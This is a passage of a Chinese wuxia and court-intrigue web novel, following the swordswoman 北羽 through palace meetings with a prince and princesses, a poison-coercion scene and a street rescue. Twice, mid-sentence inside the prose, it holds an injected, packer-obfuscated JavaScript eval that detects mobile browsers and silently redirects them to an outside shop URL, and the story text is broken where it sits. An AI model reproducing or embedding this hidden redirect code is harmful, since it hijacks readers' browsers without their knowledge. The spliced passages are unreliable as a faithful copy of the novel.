大公主并不满意这个回答,父皇太爱八弟的母亲了,他又是名正言顺的皇后之子,在军中威望颇高,无论怎样看,都对她威胁很大。 况且,她总觉得这位平日待人亲和、波澜不惊的弟弟,心思十分深沉。 “本殿下听闻学宫第一的北羽入宫了,她在哪?” “您要见她?” “对。” 宣德太监微笑,“奴才劝公主改日再见北羽。” 大公主诧异道:“为何?” “因为今日陛下有意撮合北羽和八皇子殿下。” 大公主先是吃惊,而后一怒,整个人阴沉下去,从牙缝里挤出一句父皇爱子心切,甩袖离去。 宣德太监叹了口气。 大公主有宠有野心,灵王有谢宰相,八皇子有身份和军功,三者之间微妙的平衡,只等一股强大势力来打破。 能够担此重任的,唯有学宫。 一旦这场相亲走漏风声,天枢城里的权贵们将明白谁才是轩宸帝最为中意的皇位继承者。 偏心呢,偏心。 轩宸帝终究最顾着慕容楚轩,姓名取自他的帝号轩宸和北境开国皇帝楚逸,连妻子也要选镜悬大陆未来最强的女人北羽。 宣德抬头望向天际。 入夏了,他反而感到了凉意。 不知常年苦寒的东海,夏季时,是否温暖了些呢? …………… 皇宫,太液池。 莲花盛开,精致如画。 一艘小舟漂泊湖上,北羽幽怨盯着对面划船的两个小太监,语气不善,“这就是掌监吩咐下来的美事?顶着大太阳游湖!” “北少侠,游湖是观赏皇宫七彩琉璃色的最佳方式,您请看南边,连片宫阙琉璃瓦沐浴日光之中,好似金雕玉琢,可金子玉石又没有这般迷人的彩霞之色。” “再迷人也不是我的,看久了也没意思!”北羽一句话堵得小太监哑口无言。 另一个太监开口道:“北少侠,在宫中只有圣上和诸位皇子有资格在碧水之上游湖,这可是殊荣。” 跟花车游行相比,这算个屁的殊荣! 当真以为她看不出来,碧水湖下设了阵法,若施展轻功会有性命之忧,宣德太监是怕她跑了,被轩宸帝骂,故意让人带她来这里。 苍天有眼,好晒啊! 北羽绝望地用袖子盖住脸。 26. 卷一·学宫试剑 飞龙盘柱,爪鳞生辉。 慕容楚轩踏入太清殿,轩宸帝迎上前去,“轩儿。” “父皇。”慕容楚轩后退一步。 轩宸帝伸出去的手,缩了回来,走回原位,“礼部准备的祭礼清单,看过了吗。” “看了,奢靡浪费,母亲不会喜欢的。” “她是皇后,理应享受该有的待遇。” 慕容楚轩冷淡道:“父皇封后之时,母亲已经离世,她不知道您封后的旨意,无法拒绝或接受。” “你是说朕一厢情愿。”轩宸帝皱眉。 “儿臣不敢。母亲生于玄真道观,长于玄真道观,葬于玄真道观,她的忌辰祭礼,应该放在玄真道观的后山。”慕容楚轩义正词严,“而且,母亲去年和前年的祭礼都在玄真道观。” 轩宸帝:“朕今年如此隆重筹备你娘的忌辰,是想借机颁布圣旨,册立你为太子,告慰你娘的在天之灵!” 又来了。 慕容楚轩扭头朝向殿外,天色湛蓝,万里无云,有风来,吹动他的衣角。 “我不接受。若无他事,儿臣告退。” “站住,太子之位你不想要,那北羽你想不想见。” 慕容楚轩猝然顿足,“父皇何意?” “没什么意思。她正在太液池舟游碧湖,大约半个时辰后离宫,若你想见她一面,朕就让宣德领她去倚风殿,若不想见,那便罢了。” …… 父皇有这么好心? 这其中该不会有什么圈套。 慕容楚轩犹豫不定,但念及北羽,他最终点了头,“儿臣多谢父皇安排。” 皇位无所谓,姑娘却要见,轩宸帝有时候真拿这个小儿子没办法。 站在殿外隐秘处的宣德,见慕容楚轩雀跃离去,便往太液池方向走去。 幽静宫道漫长,行至半途,一束虹光刺穿天边。 宣德抬起头,好一个大胆的北羽,敢在碧湖之上运行内力。 他跃身而起,快如闪电,劈向太液池。 …… 太液池,碧水湖之上。 翡翠一般澄净美丽的湖水,翻腾如龙,搅弄云海,两个太监脸色惨白抱住船桨,在小舟上缩着脑袋,苦不堪言。 见宣德落下,他们仿佛看见天神,齐刷刷扑到他脚边大喊道,“掌监公公不好了!北少侠被水卷到天上去了!” 宣德撇了他们一眼,一手一个拎起来,放到岸边,其实北羽已经提前把小舟送到离岸边很近的地方,只是两个小太监太害怕了,手脚发软,都不敢划船。 宣德看向空中巨大碧水花苞,依稀可见北羽身影,他取下手腕珠串,灌入内力,十颗平平无奇的木珠大放光芒,围绕他身。 他脚点碧波,身轻胜燕,一掌打破碧水花苞,不料,竟有一道剑气飞出,宣德蹙眉躲开,正疑惑时,背后一股强劲内力冲来。 红衣身影闪过,紫衣身影落下,把岸边的两个太监吓了个半死。 胖些的太监哆嗦着嘴唇,“我、我没看错吧,北少侠,她,她一脚把掌监公公踹进了水里!” “岂止啊……她踹了好几脚!”瘦小的太监面色青白,拉起胖太监,“咱们快跑,万一掌监公公发现我们看见了这一幕,肯定挖掉我们的眼睛!” 北羽稳稳落在小舟上。 宣德黑着脸浮出水面,紫衣湿透,落汤鸡一样,他盯着北羽,语气不善:“北少侠这是何意。” 北羽冷笑一声,“本姑娘向来有仇必报,不喜欢吃哑巴亏。我敬你是前辈,是剑圣,可你却故意把我晾在大太阳底下整整一个时辰。” “游湖乃是圣上旨意。” “少拿皇帝压我,这套不管用,掌监如果觉得我冤枉了你,大可出手讨回来。” “本监怎会与你一个小辈动手。” “哦,那掌监就认了吧。现在划船的太监没了,劳烦掌监划船送我出宫。” 宣德阴沉起脸,“北少侠,你虽然参悟了太上忘情剑法第二式,入了羽化境,但在我面前,依旧只是个晚辈,别太狂妄。” “是吗?” 北羽勾起唇角,眉眼锋芒毕露,“遥想当年,掌监挑战我师父白发剑圣,不多不少,刚巧败在太上忘情剑法的第二招白马吟上呢。” 宣德攥紧拳头,指甲扎入掌心,“那是十几年前的事了。” “也对,都过去十几年了,想必掌监勤学苦练之下,已经能接住白马吟了。”北羽漫不经心道。 宣德最引以为傲的,就是一身高强武艺,哪里受得住这种贬低,几乎要把持不住一掌劈向这个牙尖嘴利的黄毛丫头,可惜,今日偏偏打不得她! 他强压怒意,一道劲力打向水面,小舟朝前行驶。 眼看宣德快被她气晕了,北羽见好就收,转移话题,“敢问前辈,碧水之下为何藏了星宫的阵法?” ……宣德大感无语,上一秒冷嘲热讽,下一秒就喊上前辈了,女人都这么善变吗。 “为什么你觉得碧水之下的阵法是星宫阵法。” 北羽指了指水面,“这哪用觉得,星月符文还没消散呢。” 凡是出自星宫的东西,全带着星月图案,再夸张一点,有时候连夜壶都不放过。 宣德:“碧水下的阵法历史久远,早在北境开国皇帝慕容楚逸率铁骑踏入天枢城之前就有了,因为足够好用,被保留到今天。” 北羽颔首,这阵法的确奇妙,连太上忘情心法都遭到压制。 她瞄了一眼宣德手腕的木珠串,方才,宣德是倚仗这串木头珠子,抵御住了星宫秘阵。 世上唯有星宫神树可消星辰之力,这个神奇的宝贝,必定来自星宫那棵神树。 若无此物,恐怕她师父在碧水湖上跟宣德动手,也没有稳赢的把握。 有意思。 早晚她也要搞点星宫的神树木玩玩。 在宣德深厚内力的催动下,小舟很快靠了岸,北羽也在心里算完了游湖的帐。 太阳底下晒一个时辰,换踹剑圣屁股三脚,她赢麻了,镜悬大陆有几个人能踹剑圣屁股,敢踹剑圣屁股。 回头把这事一讲,南戏霖他们高低给她拜一个,多有面子! 北羽喜滋滋朝宫门方向走去,宣德终于逮住机会刺她一下,“北少侠留步,陛下有请。” 北羽歪了歪头,“我已经拜见完轩宸帝了。” 宣德微笑道:“陛下请北羽姑娘去倚风殿,会见八皇子殿下。” ……该来的,躲不掉。 北羽不悦撇嘴,察觉宣德似有幸灾乐祸之色,立马反击:“哎呀,八皇子啊,堂堂皇子呢,要是我看中了他,以后岂不成皇子妃了,那按皇室的规矩,掌监就变成我的奴才了,到时候我就喊不了您一声前辈了。” 宣德咬紧牙关,他苦修多年,不说心如止水,也是喜怒不形于色,谁知今日,屡次因一个乳臭未干的小子破功。 三个修太上忘情剑法的家伙,都是一样的令人讨厌! …………… 百花丛中,倚风长叹。 倚风殿是整座皇宫最美的宫殿。 那年,轩宸帝为了迎心爱女子入后宫,大费周章,兴师动众,引温泉滋养百花,四季如春,建摘星高台,一揽天枢,开国库取无数价值连城的珍宝,装饰殿内,奢华至极。 只可惜,美丽非凡、天下无双的倚风殿在主人归元皇后逝去后,空置十几年,只有八皇子慕容楚轩偶尔回宫住个两三天。 北羽一进去,就被繁花似锦的美景打动了。 宫轩静悄悄,她往百花深处走去。 微风起,雅亭轻纱浮动,一个头戴玉冠的锦衣少年负手而立,身姿挺拔,玉树临风。 听见动静,他回头转身。 一刹那,北羽仿佛看见一朵白玉兰花缓缓盛开,蕊心则是一柄长剑。 美似锋亮的剑刃,映出秀美如玉。 无怪乎轩宸帝自信地把儿子推到她面前,慕容楚轩真是一个极漂亮的少年郎,眉眼锐丽,雌雄莫辨,仅逊色于玄北离一点点。 看起来,他长得并不像轩宸帝,应当是随了母亲玉清剑圣陈俪情。 “八皇子,你好啊。” 北羽笑道。 慕容楚轩:“姑娘唤我楚轩即可。” “咱俩没这么熟,你还有事吗,没事我走了。”北羽打了个哈欠,折腾半天,她有些累了。 “啊?”慕容楚轩愣了一下。 他火急火燎沐浴熏香束发换新衣,北羽居然才看两眼就没兴趣了。 他连忙道:“我习武多年,不久前也参加了学宫试剑大会,十分仰慕姑娘的仙剑术,恰好我母亲也有一套剑招,名为玉清十九式,不知姑娘可有兴趣一试?” 这个八皇子是不是傻?邀请一个坐了半天花车,又被太阳晒了半天的女孩子打架,虽然她爱比剑,但也不至于这么折腾自己。 “我累了,改日吧。”北羽道。 慕容楚轩再次受挫,他搬出最后一招,“我备了茶点,姑娘用些再走吧。” 北羽拍手称快,总算碰上个明白人,鬼知道入宫面圣这么复杂,她进宫前吃的两个脆香烧饼,早就消化了,正是有点饿呢。 “多谢八皇子,请带路吧。” 摘星台上云雾缭绕,如临仙境,专供皇族的御茶山井香,茶香四溢,来自云霄酒楼的百糕席,精致可口,再有一位秀色可餐的美少郎陪伴,堪称享乐了。 北羽心情舒畅,吃饱喝足,自然也想起了海刀夫子的请求,开始套话。 说套话,也不准,因为她只是开个头,慕容楚轩就一股脑儿把心里话都讲了。 “世间有几人能拒绝君临天下,我并非圣人,做不到视皇位如无物,只是顾忌我娘罢了。依着我娘的性格,若她还活着,必定让我随她姓陈,斩断与皇族的关系。 查清她的死因是否跟皇室有关之前,我绝不能顺着父皇心意,接受帝位,不然,实在有负母亲生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491623|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩。” 北羽:“八皇子以为玉清剑圣的死有蹊跷?” “不错。那时,母亲愧对师门,不肯在道观中产子,居住在十里外草庐中,只让她从小看大的七师弟陪着。 她生产那日,雷雨交加,有一批贼贼寇潜入玄真道观,欲盗取镇观之宝,几位师叔祖忙着杀贼,没能及时赶去草庐。 等到雨停之后,师祖去到草庐之时,产婆被打晕,陪伴我母亲生产的七师叔重伤昏迷,而我母亲已经断气了。 师祖找到北境第一仵作验尸,她断定我娘是难产而死,并非外力所致。 但正如姑娘所言,我母亲境至羽化,悟剑成圣,莫说北境,就算放眼天下,也是最强的那部分人,我不信她是难产而死,师祖也不信,可惜他查了十八年也无结果。 前年他老人家寿终正寝,临终前留下的唯一遗言,就是叫我继续调查母亲的死。” 说到这里,慕容楚轩不由叹息,“仔细想想,此事多年来毫无半点线索,除非七师叔醒来,否则,我娘的死注定是个谜团了。” 北羽安慰他:“俗话说的好,山重水复疑无路,柳暗花明又一村,我相信事情很快就会有转机,玉清剑圣有你这样的孝子,九泉之下定然欣慰。” 她倒了一杯茶,递给慕容楚轩,“我以茶代酒祝你早日查清当年真相,玉清剑圣英年早逝,着实令人遗憾。” “借姑娘吉言。” 慕容楚轩将茶饮尽。 闲谈片刻后,二人距离拉近了不少,慕容楚轩十分不经意地告诉北羽,他从小到大连女孩子的手都没牵过,洁白无瑕得很。 北羽笑而不语,问起他参加试剑大会的事。 慕容楚轩态度谦和:“有幸去学宫试剑,荣幸之至,可惜我运气不佳,第一场比武就遇上一位远超于我的叶姓少年,当时我有些自负,硬跟他打到最后,最终落了个不轻不重的伤势,无缘后面的比武。” 叶姓? 北羽心脏一跳,问道:“八皇子是以什么身份参会的?” “皇子的名头招摇,我以玄真道观弟子身份参会,用的我另一个名字,佰怜松。” 北羽悬着的心终于死了,叶一片也忒倒霉了,还没入朝做官呢,先把皇帝老儿最喜欢的皇子打了一顿。 她干笑两声,“哎呦,那可太巧了,打了八皇子的叶姓少年,刚巧是我的好友。他啊,打小住在学宫,无爹娘管教,有时候傻愣愣的,没什么眼力见,楚轩殿下权当可怜他傻,千万别和他一般见识。” 慕容楚轩以为他听错了,“姑娘唤我什么?” “楚轩啊。别喊我姑娘了,叫我北羽就行,大家都这么叫我。” 慕容楚轩的脸以肉眼可见的速度红起来,眼神左飘右移,端起茶杯掩饰激动。 北羽心想,至于吗,就喊了一下你名字,反应太夸张了吧。 见天色不早,她站起来,“我晚上约了人,再见。” “北羽!”慕容楚轩情不自禁喊住她。 北羽叹了口气,罢了,看在他人品还不错的份上,再给点面子,她回首问道:“想不想见识我的剑术。” “想!可你没带残仙剑。” “无妨,除了宝剑,还有很多施展剑术的方法。”北羽抿唇一笑,跳下摘星台,在百花丛中随手折了一枝。 剑意起,成千上万的花瓣告别花蕊,缠绵于剑气之中,花雨纷扬洒落,剑势华丽可怕。 慕容楚轩拔出佩剑云英,可那来势汹汹的花雨剑势,越过摘星台阑干,便顷刻消散,只剩软瓣花香。 她的笑声从远处传来。 “慕容楚轩,我已经入羽化境,你不过虚空境,与我差了整整一个境界,我的剑你接不住的!江湖路远,日后有缘再会!” 慕容楚轩的眼神痴痴追随着那抹红衣,直到再也瞧不见。 “朔月。” 一名侍卫从暗处走出,“属下在。” “平日里,你怎么讨妻子欢心?”慕容楚轩问道。 朔月愣了愣,从未想过,有朝一日殿下会问这种问题,“属下的妻子很容易满足,送一些锦缎金首饰之类的,她就会开心。” “你是怎么追到她,娶到她的?”慕容楚轩又问。 “青梅竹马,水到渠成,没怎么追。” 朔月老实回答。 “……那你的命真好。”慕容楚轩闷声道。 朔月:“殿下若想讨北羽小姐欢心,何不找几个女子问一问,毕竟女人比男人更了解女人。” 慕容楚轩想了想,确实如此,“本殿麾下可有合适人选?” 朔月认真思索,“果毅都尉肖穗野,行事潇洒,颇为风流,想来必定通晓情事。” “皇子府幕僚之中有一位苏小姐,聪慧无比,常被人称赞有颗七窍玲珑心。” “好,安排她们明天来见我。” 慕容楚轩解下腰间佩戴的香囊,捻起几片落在石桌上的花瓣,浅笑着放了进去。 27. 卷一·学宫试剑 天色渐晚,灯火展露光辉。 坐上流水车的北羽,疲惫不堪。 短短十二个时辰,她经历了神机阁绑架,花车游行,面见皇帝,被宣德搁在太阳下暴晒,跟宣德打嘴仗,应付情窦初开、春心荡漾的八皇子,就算长着仙人的骨头,也扛不住了。 皇宫果然是龙潭虎穴,她这辈子绝不会去第二次。 晚风徐徐,吹动北羽发尾的红丝带。 她昏昏欲睡,将最后一分神智,用于守护钱袋,捏折了一只试图偷走它的贼手。 在流水车遇见扒手是常有的事。 她昏昏沉沉地想,既然她收了那么多礼,应该养得起马,可以买一架大马车,贵族坐的那种,能把她和几个好友全塞进去。 还有莫淮。不过,玄北离恐怕无法接受莫淮,这是一件棘手的事情。 槐花的香味幽幽飘来,流水车到了槐花小道,北羽露出一丝甜蜜的笑,学宫六斋就有一片槐花林,吃起来又香又甜。 …… 等等,有剑气! 北羽猛然惊醒,翻上车顶。 朦胧月影,槐花香浓,一抹暗色人影掠行其中,戴着帷帽,与流水车保持一致。 这个人跟她有一会儿了,她竟然现在才察觉,看来是个高手。 槐花洒落月下,一柄银剑飞来,北羽随手拔下一枚发簪抛出,火花闪烁,铮鸣一声,发簪断裂,她已至来人身前。 真气碰撞,内力相抗。 红衣如蛇,暗影似蟒。 指尖真气对上的那刻,帷帽黑纱飘起,眼覆白绸的清秀脸庞一晃而过。 好家伙,竟是个瞎子? 北羽收手,脚尖轻点在槐花树上。 暗影人飘忽于花间,使人难以看清他身形,“勾魂截脉指,学宫居然教弟子这种狠毒的招式。” “学宫向来因材施教,当一个剑客没有带剑,却遇见了强大的对手,就需要用招招致命的武功来保命。”北羽警惕道。 虽然只过了几招,但暗影人的实力,她大约摸清了,内力深厚,至少入羽化境十五年以上,是一位罕见的高手。 “阁下方才用的是拂云手,出自天曜宗,哪怕在江湖上天曜宗也很少露面,鲜为人知,不知为何派出阁下来对付我。” 婆娑树影半遮暗衣,“北少侠不愧为试剑大会魁首,仙剑术传人,小小年纪内力就深不可测,寥寥几招就看出我师门,在下佩服。 少侠莫怪我无礼,有人想见你一面。” “是谁?” 修长苍白的手指,指向西南方向,北羽凝神一看,不知何时,那边角落多了一辆马车。 她道:“当我是三岁孩子吗,说几句话就能被骗上马车?” “车中有贵人,北少侠慎言。” 贵人?能有多贵。 见他并无杀意,北羽不打算纠缠下去,“我今日累了,谁也不见。” “即便是两位皇子,北羽少侠也不肯赏脸?”娇柔女声打破僵局。 北羽微微蹙眉,莫不是大公主来了?将来北境的皇帝,不是慕容楚轩就是她,这是一个学宫不该得罪的人。 北羽改了主意,落在马车旁边,掀开车帘,一股淡香扑面。 弥漫车厢中的梨花香气,过分的绵软香甜。 浅紫色宫装女子,眉眼俏丽,鼻梁高挺,气质华贵,神色流转颇有几分肖像轩宸帝。 绿色宫装的女子气势稍弱,肤白胜雪,娴雅端庄,大家闺秀。 北羽想了想,道:“大公主好,二公主好。” 大公主亲和笑道:“北少侠快请坐,今夜是我冒昧了。” “既来之则安之,大公主见我,必是有话同我讲吧。”北羽挂上海刀夫子教她的专用于应付皇室成员的假笑。 三分疏离,五分礼貌,掩盖住两分不耐烦。 真搞不懂皇宫里的人怎么想的,明明有求于学宫,却偏要先给个下马威。见八皇子之前,晒她,见大公主之前,打她。 大公主的笑容僵了一下,“北少侠真是一个爽快人,本殿下也不跟你兜圈子。父皇身体不好,近年来有立储打算,我是父皇长子,深受宠爱,外祖家在天枢城诸多世家中也可排进前五,自然而然,有意于太子之位。” “学宫的支持举足轻重,但是,海刀夫子似乎在刻意回避什么,公主府下请帖,他不来,谢宰相登门拜访,他称病不见。 敢问北少侠,海刀夫子究竟在想什么,是否已经做了选择。” 北羽:“夫子并非故意拒绝公主的邀请,他真的很忙,试剑大会是天下盛事,学宫上上下下筹备起来少说要花一年的时间。至于选择,我不能妄言。” 滴水不漏的回答,大公主一半满意一半不满意,试探起别的地方,“那关于我八弟,北少侠总可以聊几句吧。” 北羽不打算撒谎,直言道:“八皇子是个好人。” “哈哈哈。”大公主忍不住笑了,“北少侠有眼力。” 她指了指坐在角落里的两个年轻男子,“依北少侠看,他们兄弟二人如何?” 北羽看过去,其实一上马车,她就注意到角落里的两个少年,因为他们长得实在动人。 一艳一雅,相得益彰,本来八分颜色,互相衬托出九分。 大公主:“他们虽是双生子,长的却各有千秋,妙得很,还都是会看眼色的聪明人,我做主,赠于北少侠,侍奉在你左右如何?” 北羽轻咳一声,“大公主的好意,我心领了,我的屋子小,只能住下我一个人。” “这有何妨,我再送你一处宅院即可。”大公主财大气粗道。 北羽连忙挥手,“真不用,使不得,使不得!” 一直未开口的二公主轻笑道:“姐姐,你别逗北少侠了,她还是个小姑娘。” “收了郁槿、郁衍,就不是小姑娘了。北少侠,你真不要吗?”大公主笑道。 北羽将头摇成拨浪鼓,“二位殿下,我今夜约了朋友,若无他事,先行一步了。” “那好吧。”大公主抚袖说道,“有几句话,劳烦北少侠带给海刀夫子,若夫子选我,我愿将国子监、钦天监的权柄还给学宫。” 啧,好大的口气。 这位殿下,果真如传闻般野心勃勃。 北羽挑了一个最好的词,回答道:“殿下志存高远。” 大公主扬眉一笑,“身为皇子,理当如此。北境开国百年,居然未曾有过女皇,有时候想起来,真觉得荒谬。” 北羽也笑了,今早起来,她特意找南戏霖打听过这三位皇子的事。 大公主的母亲宣华夫人,姓郑,出身世家旁支,在家族中并不出色,后来去了王府做女官,照顾比自己小五岁的世子。 再后来,王爷成了皇帝,世子成了太子,太子娶的第一位侧妃就是与他朝夕相处的郑姐姐。 轩宸帝登基后,她被封为珍妃,成了皇宫里最受宠的妃子,能跟她相提并论的,唯有谢宰相的女儿妍妃。 妍妃与朝阳郡主曾经并列天枢城第一美人,轩宸帝为美色所动,对其宠爱有加。 大公主和三皇子,子凭母贵,成了最众星捧月的皇子,而大公主又稳压三皇子一头。 那时天枢城的人都以为大公主会是储君。 再后来,归元皇后出现了,轩宸帝抛弃了他的妃子们。 珍妃深受打击,一度寻死,可是轩宸帝不为所动,依旧废掉了她嫔妃身份,改赐了诰命。 妍妃则拒绝册封,随一位赏识她的星宫长老去了星境,如今已经是星宫侍奉,地位尊贵,信徒众多。 民间惧其威严,无人敢议论她做过皇妃又被废的事。 随着八皇子成了轩宸帝的心头好,三皇子选择做个游手好闲的玩乐之徒,而大公主因扬言,南境天心女帝不过一和亲女,尚且能成就霸业,何况本殿,惹得轩宸帝恼怒,下令无召不许她入宫。 前情在此,大公主当然会拼命争取,离她只有一步之遥的帝位。 北羽点头:“话我一定带到,二位殿下,我真得走了,不送。” 说完,她离开车厢。 月影下早没了人影,只有随风轻摇的槐花。 北羽算了算时辰,暗骂一声,施展轻功霞雀,化为一道道残影。 卷起车帘观望她的二公主对大公主道:“姐姐,北羽的轻功比苍漱的还好呢。” “苍漱,苍漱,隔三差五就听你提起这个名字,听得我头都痛了。”大公主抚额,角落里两个少年乖巧上前,为她倒茶捶腿。 二公主低下头,“我……也没有常提起他吧。” “那个苍漱眼瞎年纪大,长的勉勉强强,也就武功不错,得父皇重用,算是一枚好用的棋子,真不知道,你看上他什么了。”大公主掐了把艳丽少年细滑的脸蛋,玉一样的肌肤泛起粉红色。 “你是金尊玉贵的皇子,他是奴才,随便玩玩就行,可别当真了,大郁小郁便送给你吧。” 二公主看了一眼两个少年,问道:“姐姐为什么不自己留着。” 大公主翻了个白眼,“收了他俩,裴胜渊那个悍夫又要闹翻天,当下时局渐紧,我哪有功夫理他。” “姐姐,我不缺人。”二公主拒绝道。 “哦,是吗?”大公主拾起团扇,挑起艳丽少年的下巴,慵懒道:“我瞧他眉眼颇有几分肖像苍漱,你若不喜欢,我可就转赠旁人了。” 二公主仔细一瞧,果真如此,便道:“那大郁给我,小郁就算了。” “这是一对尤物,你居然拆开?”大公主摇头,“暴敛天物啊。” 二公主:“小郁就送去宣华夫人那里吧。上回,夫人来我府上赏花,身旁的两个随侍竟敢当着我的面争宠拌嘴,实在不规矩,姐姐就用小郁换掉那两个男人吧。” “还有这事。”大公主蹙眉,“我娘心太软,对那些争风吃醋的男人总是睁一只眼闭一眼,越发惯的他们不规矩。 小郁,你可要当心伺候本殿下的母亲。” “是,小郁谨记殿下教诲。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491624|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清俊少年低眉顺眼道。 ……………… 天色已全黑,而黑夜,是最适合鸠止渴的颜色。 一入夜,白日里尚且披着人皮的禽兽,纷纷卸下伪装,赌的赌,淫的淫,是酒鬼的便掉进酒缸。 天下第一赌坊的楼阁顶上,风无霜坐在窗边,俯视欲海,凡是来了这条街的人,难免为利所惑,不知今夜,有几人为欲望而死,为欲望而生。 风无霜叹息一声,白虎趴在她脚边,发出咕噜咕噜的声音。 突然,她身后传来一声细微的响声。 风无霜将窗户合上,再次转身的时候,房间里多出一个人。 呲着牙的白虎被来者手掌牢牢压住,动不了一点,只能发出低吼。 风无霜一惊,俯身行礼,“见过尊使大人。” 尊使没有理她,逆着抚摸白虎的毛,“这只畜生,还是这么桀骜难驯。” “小白毕竟是兽,兽性难除,望大人见谅。” 风无霜有些紧张,尊使很少来见她,一般情况下,是昭衣侍者带着指令前来,吩咐她搜集消息,按月送解药。 最近几年,也只有两月前涉及北羽的命令,尊使亲自前来嘱咐她。 那一回,尊使给了半年的解药,按理说,接下来的半年,那边会切断跟她的联络。 尊使:“都说鸠止渴是天枢城消息最灵通的一条街道,昨夜天枢城南边发生了一件大事,你可知道?” 听他语气不善,风无霜立刻跪地叩首,“回尊使,属下无能,并未听到什么。” 尊使冷笑道:“枉你还是天下第一赌坊的人,神机阁塌了,天机老人死了,神机阁人心惶惶,好几个弟子跑来赌钱压惊的,你竟然不知?” “……属下失职。” 仗着脸埋在毛毯里,风无霜直接翻了个白眼,赌坊又不是她掌权,她一整天都窝在房内想事情,哪有闲空去打听消息,而且,天下第一赌坊又不止她一个探子,都已经从别人嘴里知道了,还要怪她偷懒。 尊使随手拿起几张书案上的信封,风无霜哑然,怎么还光明正大偷看她的信啊。 “神机阁的事你不知道,那罗刹堂的消息呢?” 风无霜咽了咽口水,“罗刹堂倒是有些动静,东海总堂主荣烬雪卸任,西海分堂主阎娑风实掌大权,并命令其他分堂主,减少接单,罗刹堂内部似乎将要有所变革。” 尊使坐到榻上,嗤笑道:“变革?孙猴子是翻不出五指山的,罗刹堂换个总堂主改变不了什么……但是,罗刹堂顶端的杀手们,忽然隐身就不一样了。” “风无霜,接下来,我要你想尽一切办法,联系一个人。” “谁?” “月冷花。” 风无霜大惊,忐忑不安道:“敢问尊使,您寻月冷花,是要……啊!” 她话未说完,强大的掌风便袭来,风无霜躲不开,也不能躲,硬生生挨下,吐了口血,更糟糕的是,有一个尖锐的东西钻进了她身体。 蛊引入体,潜伏在心脏表面多年的蛊虫,瞬间苏醒,上千张满是密密麻麻尖刺的嘴巴齐齐咬下,风无霜当即痛得发昏,双目翻白,叫都叫不出来。 “很疼吗?这不过是噬心蛊刚苏醒时的感觉。” 尊使居高临下地看着来回打滚、捶胸挠心的风无霜,“以前你按时服药,它们吃饱喝足睡大觉,如今一朝醒来,只是活动筋骨,等过几天饿了,才会真正开始吃你的心头肉。” “你手中有半年的解药,可以暂时缓解万蛊噬心之痛,四个月之后,若你没有联系上月冷花,就只能惨死于噬心蛊之下。” “风家一向忠心耿耿,我不希望你白白送死,早点找到月冷花,切勿感情用事,替他拖延时间。” 说完,黑袍尊使潜入夜色。 摆脱束缚的白虎,立刻翻出熟悉的药瓶,叼给疼得死去活来的风无霜,发出沉痛的呜咽。 风无霜一股脑把苦涩的药液灌进肚子。 绿色药液沿着她嘴角流下,蜿蜒如蛇,印在她雪白的下巴上,像是一抹毒。 “别……别哭,小白……我,没事……” 话未讲完,她昏死过去。白虎趴下来紧贴着主人,试图温暖她蛊毒发作后冰冷的身躯。 另一边,北羽正全力赶往云霄酒楼,宛如一只火红的鸟,匆匆飞翔在天枢城大街小巷之上。 鞋尖立于砖瓦的一刻,银光闪过,刺到她眼睛,北羽下意识朝那边看了一眼。 狭小的巷子里,锦衣男子站在一端,拔刀侍卫站在另一端,前后堵住一位蓝衣少女。 银光闪烁,是月光照射在刀面上的影子。 锦衣男子没有刻意压低声调,位于高处的北羽清楚听见他的声音。 “美人,跑什么,小爷我不过想亲你一口罢了。你长得倾国倾城,美丽无双,谁看了不动心?大不了,我娶了你就是,我可是镇北王唯一的儿子,绝不会亏待你的。” 北羽皱起眉头,冤家路窄,她竟然又撞上李一白这个家伙干坏事! 28. 卷一·学宫试剑(完) “李一白,镇北王府和血凰剑圣的名声,早晚被你败光!” “是谁在说话!” “我!” 北羽一击打晕四个随侍,他们手中的佩刀哐当落地,蓝衣少女提裙跑开,李一白震怒回头,随即瞪圆了眼。 踏着月光翩翩落下的红衣女子,美得惊人。 李一白迟疑道:“你是……北羽?今天花车游行,我看见你了。” 北羽:“哦,是吗?” 李一白马上换了副面孔,装作若无其事的样子,自以为彬彬有礼道:“方才我不过跟那位姑娘开玩笑,让北羽小姐见笑了。在下仰慕北羽小姐许久,今日有缘相见,实在三生有幸,北羽小姐仙人之姿,名不虚传。” “呵。”北羽忍不住笑了一下,这家伙竟没认出她来,“你仰慕我,我却早就领教过你的蛇蝎心肠了。” 见蓝衣少女已经跑远,她转身欲走,李一白突然觉得不对,北羽的声音为何听起来如此耳熟。 “站住!” 他上前一步,拔出剑来,眼底浮现狠毒之色,“曲落落,原来是你!” “你竟然用假名骗我!” “什么假名,那是本姑娘行走江湖的名号。”北羽蔑视他道,“李一白你是不是疯了,居然敢拿剑指着我,现在我已经入羽化境,你,我弹指可灭。” 想起曾经在大街上丢人现眼的模样,李一白怒火攻心,但他也听闻过北羽的厉害,不敢轻举妄动,把到嘴边的脏话憋了回去。 “好,你北羽有种,我打不过你。咱们就事论事,你把我的奴隶弄到哪里去了!” “什么奴隶?”北羽皱眉。 “装什么傻,肯定是你把莫淮藏起来了!”李一白趾高气昂道。 那日竹林中,莫淮求他原谅。可当时人多,他拉不下脸,便没有应允。后来再派侍卫去找莫淮的时候,人已经不见了。 原以为过几天,莫淮自会找去天枢城的镇北王旧府,岂料两个月过去了,半个人影也没有,他派人去找,也一点信都没有。 他心里还纳闷呢,以为莫淮死了。 